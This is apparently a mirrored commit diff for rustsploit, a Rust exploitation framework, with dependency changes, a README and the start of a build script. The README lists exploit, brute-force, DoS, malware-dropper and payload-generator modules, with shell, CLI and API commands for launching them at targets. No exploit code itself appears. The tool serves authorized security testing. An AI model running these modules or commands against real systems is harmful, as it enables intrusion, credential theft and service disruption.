mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
41 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 6dc6d2ecfb | |||
| 60163b46e6 | |||
| f185052df1 | |||
| a4a466083f | |||
| 1e285f95c7 | |||
| 9ac7c7fce2 | |||
| 268f7cec4f | |||
| 64c10cde10 | |||
| e534341e82 | |||
| ed30bde3ee | |||
| f166b8ac51 | |||
| 7e2a244fe5 | |||
| 512c75ebf1 | |||
| af7b2fc80f | |||
| 1cdebfead5 | |||
| 472238a883 | |||
| 408007fded | |||
| 5cb4694bad | |||
| 28c9d27857 | |||
| de0ed82830 | |||
| f4a554accf | |||
| 2e046a4ced | |||
| fd5a180702 | |||
| 80903bfdc4 | |||
| 8df8849401 | |||
| b48de95cca | |||
| 75c4a0fd71 | |||
| 5975adce78 | |||
| 1246b3f4b7 | |||
| b148f8ba14 | |||
| d4dd665efd | |||
| a5b6261101 | |||
| 06915cbc35 | |||
| b9ace5a109 | |||
| 04f1e67758 | |||
| 15a12d57e9 | |||
| e49f55eb21 | |||
| 9865225e99 | |||
| 3b33e40727 | |||
| 759f733650 | |||
| 5873ba0d5a |
+74
-42
@@ -1,92 +1,124 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.1.0"
|
||||
version = "0.2.0"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9.0"
|
||||
rand = "0.9"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5.35", features = ["derive"] }
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0.97"
|
||||
anyhow = "1.0"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0.0"
|
||||
rustyline = "15.0.0"
|
||||
colored = "3.0"
|
||||
rustyline = "15.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
tokio-socks = "0.5.2"
|
||||
rustls = "0.23.26"
|
||||
webpki-roots = "0.26.8"
|
||||
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2.14"
|
||||
sysinfo = { version = "0.34.2", features = ["multithread"] }
|
||||
async_ftp = "6.0"
|
||||
tokio-socks = "0.5"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8.1"
|
||||
crossbeam-channel = "0.5.15"
|
||||
telnet = "0.2.3"
|
||||
|
||||
walkdir = "2.5.0"
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
walkdir = "2.5"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9.5"
|
||||
ssh2 = "0.9"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22.1"
|
||||
base64 = "0.22"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12.8"
|
||||
rdp = "0.12"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11.1"
|
||||
ipnet = "2.11.0"
|
||||
regex = "1.11"
|
||||
ipnet = "2.11"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37.4"
|
||||
quick-xml = "0.37"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7.0"
|
||||
ftp = "3.0.1"
|
||||
md5 = "0.7"
|
||||
ftp = "3.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2.172"
|
||||
futures = "0.3.31"
|
||||
libc = "0.2"
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0.140"
|
||||
futures-util = "0.3.31"
|
||||
tokio-tungstenite = "0.26.2"
|
||||
serde_json = "1.0"
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8.3"
|
||||
cipher = "0.4.4"
|
||||
flate2 = "1.0.30"
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
flate2 = "1.0"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5"
|
||||
|
||||
#avanti
|
||||
url = "2.5.4"
|
||||
semver = "1.0.26"
|
||||
url = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34" # Or the latest compatible version
|
||||
socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
|
||||
pnet_packet = "0.34"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
|
||||
# HTTP/2 Rapid Reset DoS
|
||||
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
|
||||
h2 = "0.3"
|
||||
tokio-rustls = "0.24"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
|
||||
#pingsweep
|
||||
which = "8.0"
|
||||
|
||||
# API server
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
# DNS tooling
|
||||
trust-dns-client = { version = "0.23", features = ["dnssec"] }
|
||||
trust-dns-proto = "0.23"
|
||||
|
||||
# SNMP bruteforce - using manual encoding for reliability
|
||||
|
||||
# Pin transitive dependencies to edition-2021-compatible releases
|
||||
# (newer versions require unstable edition2024 feature)
|
||||
home = "=0.5.11"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11.1" # required for use in build.rs
|
||||
regex = "1.11" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
|
||||
@@ -1,215 +1,401 @@
|
||||
# Rustsploit 🛠️
|
||||
|
||||
A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||
|
||||
📚 **Developer Documentation**:
|
||||
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
- 🌐 **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
|
||||
- 🧱 **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
|
||||
|
||||
---
|
||||
### Goals & To Do lists
|
||||
|
||||
Convert exploits and add modules
|
||||
## Table of Contents
|
||||
|
||||
# completed
|
||||
```
|
||||
|
||||
added stalkroute a traceroute with firewall evasion requires root
|
||||
added malware dropper narruto dropper
|
||||
added refactored and fixed and improve alot of modules
|
||||
added added new version of payloadgen
|
||||
added smtp bruteforcer
|
||||
added pop3 bruteforcer
|
||||
added zte zte_zxv10_h201l_rce_authenticationbypass
|
||||
added ivanti ivanti_connect_secure_stack_based_buffer_overflow
|
||||
added apache_tomcat cve_2025_24813_apache_tomcat_rce
|
||||
added apache_tomcat catkiller_cve_2025_31650
|
||||
added palto_alto CVE-2025-0108. auth bypass
|
||||
added acm_5611_rce
|
||||
added zabbix_7_0_0_sql_injection
|
||||
added cve_2024_7029_avtech_camera
|
||||
added pachev_ftp_path_traversal_1_0
|
||||
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
|
||||
added ftps support
|
||||
added ipv6 support to ftp anon and brute
|
||||
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
|
||||
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
|
||||
bomb Persistence create SSH user | Remote Root Shell
|
||||
|
||||
added spotube exploit zero day exploit as of 24 april reported to spotube
|
||||
added exploit tplink_wr740n Buffer Overflow 'DOS'
|
||||
added exploit tp_link_vn020 Denial Of Service (DOS)
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant2 RCE and SSH Root Access adds persistant account
|
||||
added exploit abussecurity_camera_cve 2023 26609 variant1 LFI, RCE and SSH Root Access
|
||||
added exploit uniview_nvr_pwd_disclosure password disclore
|
||||
updated docs again and readme
|
||||
rework command system to automaticly detect new modules
|
||||
added uniview_nvr_pwd_disclosure
|
||||
added ssdp_msearch
|
||||
added hearbleed info leak from server saved to a bin file
|
||||
added port scanner
|
||||
added ping_sweep network scanner
|
||||
added http_title_scanner
|
||||
added log4j_scanner
|
||||
added heartbleed_scanner
|
||||
added find command
|
||||
updated docs
|
||||
created docs
|
||||
added wordlist for camera paths
|
||||
added acti camera module
|
||||
created bat payload generator for malware
|
||||
added proxy support https/http socks4/socks5
|
||||
telnet brute forcing module
|
||||
ssh brute forcing module
|
||||
ftp anonymous login module
|
||||
ftp brute forcing module
|
||||
added rtsp_bruteforce module
|
||||
dynamic modules listing and colored listing
|
||||
```
|
||||
1. [Highlights](#highlights)
|
||||
2. [Module Catalog](#module-catalog)
|
||||
3. [Quick Start](#quick-start)
|
||||
4. [Docker Deployment](#docker-deployment)
|
||||
5. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
|
||||
6. [CLI Usage](#cli-usage)
|
||||
7. [API Server Mode](#api-server-mode)
|
||||
8. [Proxy Workflow](#proxy-workflow)
|
||||
9. [How Modules Are Discovered](#how-modules-are-discovered)
|
||||
10. [Contributing](#contributing)
|
||||
11. [Credits](#credits)
|
||||
|
||||
---
|
||||
```
|
||||
## 🚀 Building & Running
|
||||
## 📦🛠️ requirements
|
||||
`
|
||||
|
||||
## Highlights
|
||||
|
||||
- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
|
||||
- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
|
||||
- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
|
||||
- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
|
||||
- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
|
||||
- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
|
||||
- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
|
||||
- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
|
||||
- ✅ **REST API Server:** Launch a secure API server with authentication, rate limiting, IP tracking, and dynamic key rotation
|
||||
|
||||
---
|
||||
|
||||
## Module Catalog
|
||||
|
||||
Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
|
||||
|
||||
| Category | Highlights |
|
||||
|----------|------------|
|
||||
| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
|
||||
| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
|
||||
| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, DNS recursion/amplification tester, StalkRoute traceroute (firewall evasion) |
|
||||
| `payloadgens` | `narutto_dropper`, BAT payload generator |
|
||||
| `lists` | RTSP wordlists and helper files |
|
||||
|
||||
Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
---
|
||||
|
||||
## Quick Start
|
||||
|
||||
### Requirements
|
||||
|
||||
```bash
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11
|
||||
|
||||
for rdp bruteforce modudle
|
||||
|
||||
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
```
|
||||
```
|
||||
### 📦 Clone the Repository
|
||||
|
||||
```
|
||||
Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
|
||||
### Clone + Build
|
||||
|
||||
```bash
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
```
|
||||
|
||||
### 🛠️ Build the Project
|
||||
|
||||
```
|
||||
cargo build
|
||||
```
|
||||
|
||||
To build and run:
|
||||
```
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
To install:
|
||||
```
|
||||
cargo install
|
||||
### Install (optional)
|
||||
|
||||
```bash
|
||||
cargo install --path .
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### 🖥️ Run in Interactive Shell Mode
|
||||
## Docker Deployment
|
||||
|
||||
Launch the interactive RSF shell:
|
||||
Rustsploit ships with a standalone provisioning script that builds and launches the API inside Docker (mirroring the multi-stage workflow used in vxcontrol/pentagi).
|
||||
|
||||
```
|
||||
cargo run
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
Once inside the shell:
|
||||
The helper will:
|
||||
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom host:port).
|
||||
3. Let you enter or auto-generate an API key (printable ASCII, 128 chars max).
|
||||
4. Toggle hardening mode and tune the IP limit if desired.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api` (build + serve stages)
|
||||
- `docker/entrypoint.sh` (passes CLI flags / hardening state)
|
||||
- `.env.rustsploit-docker` (API key, bind address, hardening settings)
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation (use `--force` for scripted deployments).
|
||||
|
||||
### Non-Interactive / CI Usage
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
--ip-limit 5 \
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```bash
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
Environment variables are written with 0600 permissions so secrets stay private. Re-run the script any time you want to regenerate artefacts or rotate the API key.
|
||||
|
||||
---
|
||||
|
||||
## Interactive Shell Walkthrough
|
||||
|
||||
The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
|
||||
|
||||
```text
|
||||
rsf> help
|
||||
rsf> modules
|
||||
rsf> show_proxies
|
||||
rsf> proxy_on / proxy_off
|
||||
rsf> proxy_load proxies.txt
|
||||
rsf> find
|
||||
rsf> use exploits/heartbleed
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run
|
||||
RustSploit Command Palette
|
||||
Command Shortcuts Description
|
||||
--------------- ------------------------- ------------------------------
|
||||
help help | h | ? Show this screen
|
||||
modules modules | ls | m List discovered modules
|
||||
find find <kw> | f1 <kw> Search modules by keyword
|
||||
use use <path> | u <path> Select module (ex: u exploits/heartbleed)
|
||||
set target set target <value> Set current target (IPv4/IPv6/hostname)
|
||||
run run | go Execute current module (honors proxy mode)
|
||||
proxy_load proxy_load [file] | pl Load proxies from file (HTTP/HTTPS/SOCKS)
|
||||
proxy_on/off proxy_on | pon / ... Toggle proxy usage
|
||||
proxy_test proxy_test | ptest Validate proxies (URL, timeout, concurrency)
|
||||
show_proxies show_proxies | proxies View proxy status
|
||||
exit exit | quit | q Leave shell
|
||||
```
|
||||
|
||||
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
|
||||
Example session:
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> pl data/proxies.txt # prompts if omitted
|
||||
rsf> pon
|
||||
rsf> proxy_test # optional validation / filtering
|
||||
rsf> go
|
||||
```
|
||||
|
||||
If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
|
||||
|
||||
---
|
||||
|
||||
### 🔧 Run in CLI Mode
|
||||
## CLI Usage
|
||||
|
||||
#### ▶ Exploit
|
||||
```
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```bash
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🧪 Scanner
|
||||
```
|
||||
# Scanner
|
||||
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
|
||||
|
||||
# Credentials
|
||||
cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
|
||||
```
|
||||
|
||||
#### 🔐 Credentials
|
||||
Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
|
||||
|
||||
---
|
||||
|
||||
## API Server Mode
|
||||
|
||||
Rustsploit includes a REST API server mode that allows remote control of the tool via HTTP endpoints. The API includes authentication, rate limiting, IP tracking, and security hardening features.
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```bash
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
# With hardening enabled (auto-rotate API key on suspicious activity)
|
||||
cargo run -- --api --api-key your-secret-key-here --harden
|
||||
|
||||
# Custom interface and IP limit
|
||||
cargo run -- --api --api-key your-secret-key-here --harden --interface 127.0.0.1 --ip-limit 5
|
||||
|
||||
# Custom port
|
||||
cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
```
|
||||
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
|
||||
|
||||
### API Flags
|
||||
|
||||
| Flag | Description | Required |
|
||||
|------|-------------|----------|
|
||||
| `--api` | Enable API server mode | Yes |
|
||||
| `--api-key <key>` | API key for authentication | Yes (when using `--api`) |
|
||||
| `--harden` | Enable hardening mode (auto-rotate key on suspicious activity) | No |
|
||||
| `--interface <addr>` | Network interface/IP to bind to (default: `0.0.0.0`) | No |
|
||||
| `--ip-limit <num>` | Maximum unique IPs before auto-rotation (default: 10, requires `--harden`) | No |
|
||||
|
||||
### API Endpoints
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```bash
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
# Or ApiKey format
|
||||
Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```bash
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```bash
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```bash
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```bash
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```bash
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```bash
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```bash
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Rate Limiting
|
||||
- IPs are automatically blocked for **30 seconds** after **3 failed authentication attempts**
|
||||
- Blocked IPs receive HTTP `429 Too Many Requests` responses
|
||||
- Failed attempts are logged to both terminal and log file
|
||||
- Counter resets automatically after the block period expires
|
||||
- Successful authentication resets the failure counter for that IP
|
||||
|
||||
#### Hardening Mode
|
||||
When `--harden` is enabled:
|
||||
- Tracks unique IP addresses accessing the API
|
||||
- Automatically rotates the API key when the number of unique IPs exceeds the limit (default: 10)
|
||||
- Logs all rotation events to terminal and `rustsploit_api.log`
|
||||
- Clears IP tracking after key rotation
|
||||
|
||||
#### Logging
|
||||
All API activity is logged to:
|
||||
- **Terminal:** Real-time console output with colored status messages
|
||||
- **Log File:** `rustsploit_api.log` in the current working directory
|
||||
|
||||
Log entries include:
|
||||
- API requests and responses
|
||||
- Authentication failures and rate limiting events
|
||||
- IP tracking and hardening actions
|
||||
- Key rotation events
|
||||
- Module execution results
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```bash
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
# 2. Check health
|
||||
curl http://localhost:8080/health
|
||||
|
||||
# 3. List available modules
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/modules
|
||||
|
||||
# 4. Run a port scan
|
||||
curl -X POST -H "Authorization: Bearer my-secret-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
http://localhost:8080/api/run
|
||||
|
||||
# 5. Check status
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/status
|
||||
|
||||
# 6. View tracked IPs
|
||||
curl -H "Authorization: Bearer my-secret-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 🌐 Proxy Retry Logic (Shell Mode)
|
||||
## Proxy Workflow
|
||||
|
||||
- If proxies are loaded and `proxy_on` is active:
|
||||
- Random proxy is used from list
|
||||
- On failure, tries another until successful
|
||||
- If all fail, it runs once **without proxy**
|
||||
Rustsploit treats proxy lists as first-class citizens:
|
||||
|
||||
- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
|
||||
- Loads from user-supplied files, skipping invalid lines with reasons
|
||||
- Optional connectivity test prompts allow tuning:
|
||||
- Test URL (default `https://example.com`)
|
||||
- Timeout (seconds)
|
||||
- Max concurrent checks
|
||||
- Keeps only working proxies when validation is requested
|
||||
- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
|
||||
|
||||
Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
|
||||
|
||||
---
|
||||
|
||||
## 📂 Module System
|
||||
## How Modules Are Discovered
|
||||
|
||||
Modules are automatically detected using `build.rs` and registered as:
|
||||
- Short: `port_scanner`
|
||||
- Full: `scanners/port_scanner`
|
||||
Rustsploit scans `src/modules/` recursively during build. Each module should expose:
|
||||
|
||||
Each module must define:
|
||||
```
|
||||
pub async fn run(target: &str) -> Result<()>
|
||||
```rust
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>;
|
||||
```
|
||||
|
||||
Optional:
|
||||
```
|
||||
pub async fn run_interactive(target: &str) -> Result<()>
|
||||
```
|
||||
Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
|
||||
|
||||
- File: `src/modules/exploits/sample_exploit.rs`
|
||||
- Shell path: `exploits/sample_exploit`
|
||||
|
||||
See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
|
||||
|
||||
---
|
||||
|
||||
## 🧼 Shell State
|
||||
## Contributing
|
||||
|
||||
The shell keeps:
|
||||
- Current module
|
||||
- Current target
|
||||
- Proxy list + state
|
||||
Contributions are welcome! High-level suggestions:
|
||||
|
||||
No session state is saved — everything resets on restart.
|
||||
1. Fork + branch from `main`
|
||||
2. Add your module under the appropriate category
|
||||
3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
|
||||
4. Document usage patterns in module comments
|
||||
5. Run `cargo fmt` and `cargo check` before opening a PR
|
||||
|
||||
Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
|
||||
|
||||
---
|
||||
|
||||
## 💡 Want to Add a Module?
|
||||
## Credits
|
||||
|
||||
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
Includes:
|
||||
- ✅ How to write modules
|
||||
- 🧠 Auto-dispatch system explained
|
||||
- 📦 Module placement
|
||||
- 🌐 Proxy logic details
|
||||
- 🔍 Scanner vs Exploit vs Credential paths
|
||||
- **Project Lead:** s-b-repo
|
||||
- **Language:** 100% Rust
|
||||
- **Wordlists:** Seclists + custom additions (`lists/` directory)
|
||||
- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
|
||||
|
||||
---
|
||||
> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
|
||||
|
||||
## 👥 Contributors
|
||||
|
||||
- **Main Developer**: me.
|
||||
- **Language**: 100% Rust.
|
||||
- **Inspired by**: RouterSploit, Metasploit, pwntools
|
||||
|
||||
## 👥 Credits
|
||||
|
||||
- **wordlists*: seclists & me
|
||||
|
||||
|
||||
---
|
||||
|
||||
@@ -1,96 +1,213 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Read, Write};
|
||||
use std::path::Path;
|
||||
use regex::Regex;
|
||||
|
||||
/// Build script that generates module dispatchers for exploits, scanners, and creds.
|
||||
///
|
||||
/// This script:
|
||||
/// - Scans `src/modules/{category}/` directories recursively
|
||||
/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
|
||||
/// - Generates dispatch functions that support both short names and full paths
|
||||
/// - Creates deterministic, sorted output for better maintainability
|
||||
|
||||
fn main() {
|
||||
// Tell Cargo to rerun this build script if module directories change
|
||||
println!("cargo:rerun-if-changed=src/modules/exploits");
|
||||
println!("cargo:rerun-if-changed=src/modules/creds");
|
||||
println!("cargo:rerun-if-changed=src/modules/scanners");
|
||||
|
||||
generate_dispatch(
|
||||
"src/modules/exploits",
|
||||
"exploit_dispatch.rs",
|
||||
"crate::modules::exploits"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/creds",
|
||||
"creds_dispatch.rs",
|
||||
"crate::modules::creds"
|
||||
);
|
||||
generate_dispatch(
|
||||
"src/modules/scanners",
|
||||
"scanner_dispatch.rs",
|
||||
"crate::modules::scanners"
|
||||
);
|
||||
// Generate dispatchers for each module category
|
||||
let categories = vec![
|
||||
("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
|
||||
("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
|
||||
("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
|
||||
];
|
||||
|
||||
for (root, out_file, mod_prefix, category_name) in categories {
|
||||
if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
|
||||
eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
|
||||
std::process::exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
/// Generates a dispatch function for a module category.
|
||||
///
|
||||
/// # Arguments
|
||||
/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
|
||||
/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
|
||||
